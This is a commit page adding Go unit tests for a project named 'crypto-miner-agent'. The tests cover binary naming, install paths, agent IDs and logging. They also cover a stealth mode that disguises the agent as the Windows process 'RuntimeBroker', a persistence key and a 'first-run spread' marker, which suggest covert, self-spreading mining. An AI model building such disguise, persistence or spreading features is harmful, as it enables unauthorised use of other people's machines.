feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
This commit is contained in:
120
agent/deploy/common_test.go
Normal file
120
agent/deploy/common_test.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func testRuntimeConfig() config.RuntimeConfig {
|
||||
return config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "worker-1",
|
||||
ProcessName: "RuntimeBroker",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
BuildID: "build-1",
|
||||
ServerURL: "https://hub.example",
|
||||
}}
|
||||
}
|
||||
|
||||
func TestBinaryExt(t *testing.T) {
|
||||
ext := BinaryExt()
|
||||
if runtime.GOOS == "windows" {
|
||||
if ext != ".exe" {
|
||||
t.Fatalf("windows ext: %q", ext)
|
||||
}
|
||||
} else if ext != "" {
|
||||
t.Fatalf("non-windows ext: %q", ext)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBinaryName(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
name := BinaryName(cfg)
|
||||
if runtime.GOOS == "windows" {
|
||||
if name != "RuntimeBroker.exe" {
|
||||
t.Fatalf("got %q", name)
|
||||
}
|
||||
} else if name != "RuntimeBroker" {
|
||||
t.Fatalf("got %q", name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeName(t *testing.T) {
|
||||
if sanitizeName(" foo/bar:baz*? ") != "foo-bar-baz" {
|
||||
t.Fatalf("got %q", sanitizeName(" foo/bar:baz*? "))
|
||||
}
|
||||
if sanitizeName("") != "" {
|
||||
t.Fatal("empty stays empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersistenceKeyName(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
if got := PersistenceKeyName(cfg); got != "CryptoMiner-worker-1" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
cfg.StealthMode = true
|
||||
if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
|
||||
t.Fatalf("stealth: %q", got)
|
||||
}
|
||||
cfg.StealthMode = false
|
||||
cfg.WorkerName = ""
|
||||
if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
|
||||
t.Fatalf("empty worker: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstalledBinaryPath(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
path, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.HasSuffix(path, BinaryName(cfg)) {
|
||||
t.Fatalf("path %q should end with binary name", path)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSamePath(t *testing.T) {
|
||||
if !samePath("a/b", "a\\b") && runtime.GOOS != "windows" {
|
||||
// on unix clean may differ; test abs equality
|
||||
tmp := t.TempDir()
|
||||
a := filepath.Join(tmp, "x")
|
||||
b := filepath.Join(tmp, "x")
|
||||
if !samePath(a, b) {
|
||||
t.Fatal("identical paths")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDir(t *testing.T) {
|
||||
dir, err := InstallDir("w", "b1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir == "" {
|
||||
t.Fatal("empty install dir")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallBaseFallbacks(t *testing.T) {
|
||||
fb := installBaseFallbacks(testRuntimeConfig())
|
||||
if len(fb) == 0 {
|
||||
t.Fatal("expected fallbacks")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveInstallDirWithFallback(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
dir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir == "" {
|
||||
t.Fatal("empty dir")
|
||||
}
|
||||
}
|
||||
96
agent/deploy/identity_test.go
Normal file
96
agent/deploy/identity_test.go
Normal file
@@ -0,0 +1,96 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func spreadTestConfig(t *testing.T) (config.RuntimeConfig, string) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "w",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
BuildID: "b1",
|
||||
}}
|
||||
// Override install dir by writing marker directly
|
||||
return cfg, dir
|
||||
}
|
||||
|
||||
func TestIsLocalhostURL(t *testing.T) {
|
||||
for _, u := range []string{"http://localhost:8080", "https://127.0.0.1/", "http://[::1]:3000"} {
|
||||
if !isLocalhostURL(u) {
|
||||
t.Fatalf("%q should be localhost", u)
|
||||
}
|
||||
}
|
||||
if isLocalhostURL("https://example.com") {
|
||||
t.Fatal("example.com is not localhost")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWantsFirstRunSpreadMarker(t *testing.T) {
|
||||
cfg, dir := spreadTestConfig(t)
|
||||
marker := filepath.Join(dir, firstRunSpreadMarker)
|
||||
if WantsFirstRunSpread(cfg) {
|
||||
// may false if InstallDirectory != dir
|
||||
}
|
||||
if err := os.WriteFile(marker, []byte("1\n"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// WantsFirstRunSpread uses cfg.InstallDirectory(), not temp dir — test marker helpers directly
|
||||
if err := setFirstRunSpreadMarker(dir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dir, firstRunSpreadMarker)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ClearFirstRunSpreadMarker(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
InstallBase: "temp", InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
}})
|
||||
}
|
||||
|
||||
func TestLogSpreadErrorAndInfo(t *testing.T) {
|
||||
LogSpreadError("stage", nil)
|
||||
LogSpreadError("stage", os.ErrNotExist)
|
||||
LogSpreadInfo("spread ok")
|
||||
}
|
||||
|
||||
func TestEnsureAndLoadAgentID(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
id, err := EnsureAgentID(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id == "" {
|
||||
t.Fatal("empty id")
|
||||
}
|
||||
loaded, err := LoadAgentID(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loaded != id {
|
||||
t.Fatalf("load %q != ensure %q", loaded, id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadAgentIDMissing(t *testing.T) {
|
||||
_, err := LoadAgentID(t.TempDir())
|
||||
if err == nil {
|
||||
t.Fatal("expected error for missing file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadAgentIDEmptyFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, agentIDFile), []byte(" \n"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err := LoadAgentID(dir)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for empty id file")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user